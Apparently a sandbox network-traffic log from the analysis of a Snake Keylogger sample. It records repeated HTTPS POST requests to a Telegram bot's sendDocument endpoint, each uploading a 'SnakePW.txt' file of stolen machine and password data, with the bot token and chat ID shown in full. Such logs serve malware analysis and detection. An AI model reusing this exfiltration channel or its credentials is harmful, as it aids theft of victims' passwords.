2022-06-26 07:34:20 UTC	401	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 37 30 31 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 36 30 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":67016,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228860,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
238	192.168.2.5	50149	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:34:20 UTC	401	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da57571162661f Host: api.telegram.org Content-Length: 504
2022-06-26 07:34:20 UTC	402	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 31 31 36 32 36 36 31 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da57571162661fContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:34:21 UTC	402	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:34:21 GMT Content-Type: application/json Content-Length: 509 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:34:21 UTC	403	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 37 30 31 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 36 31 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":67018,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228861,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
239	192.168.2.5	50150	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:34:21 UTC	403	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da57571196da58 Host: api.telegram.org Content-Length: 504
2022-06-26 07:34:21 UTC	403	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 31 31 39 36 64 61 35 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da57571196da58Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:34:21 UTC	404	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:34:21 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:34:21 UTC	404	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 37 30 31 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 36 31 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":67019,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228861,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
24	192.168.2.5	49792	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:32:48 UTC	40	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756da20995d Host: api.telegram.org Content-Length: 504
2022-06-26 07:32:48 UTC	40	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 64 61 32 30 39 39 35 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756da20995dContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:32:48 UTC	41	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:32:48 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:32:48 UTC	41	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 37 37 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 37 36 38 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66771,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228768,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
240	192.168.2.5	50151	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:34:21 UTC	405	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da575711d4d6c1 Host: api.telegram.org Content-Length: 504
2022-06-26 07:34:21 UTC	405	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 31 31 64 34 64 36 63 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da575711d4d6c1Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:34:21 UTC	406	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:34:21 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:34:21 UTC	406	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 37 30 32 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 36 31 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":67020,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228861,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
241	192.168.2.5	50152	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:34:22 UTC	406	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da575712094b6b Host: api.telegram.org Content-Length: 504
2022-06-26 07:34:22 UTC	407	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 31 32 30 39 34 62 36 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da575712094b6bContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:34:22 UTC	407	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:34:22 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:34:22 UTC	408	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 37 30 32 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 36 32 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":67022,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228862,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
242	192.168.2.5	50153	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:34:22 UTC	408	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5757124748d1 Host: api.telegram.org Content-Length: 504
2022-06-26 07:34:22 UTC	408	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 31 32 34 37 34 38 64 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5757124748d1Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:34:22 UTC	409	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:34:22 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:34:22 UTC	409	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 37 30 32 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 36 32 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":67023,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228862,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
243	192.168.2.5	50154	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:34:22 UTC	410	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da575712854476 Host: api.telegram.org Content-Length: 504
2022-06-26 07:34:22 UTC	410	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 31 32 38 35 34 34 37 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da575712854476Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:34:23 UTC	411	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:34:23 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:34:23 UTC	411	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 37 30 32 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 36 33 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":67024,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228863,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
244	192.168.2.5	50155	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
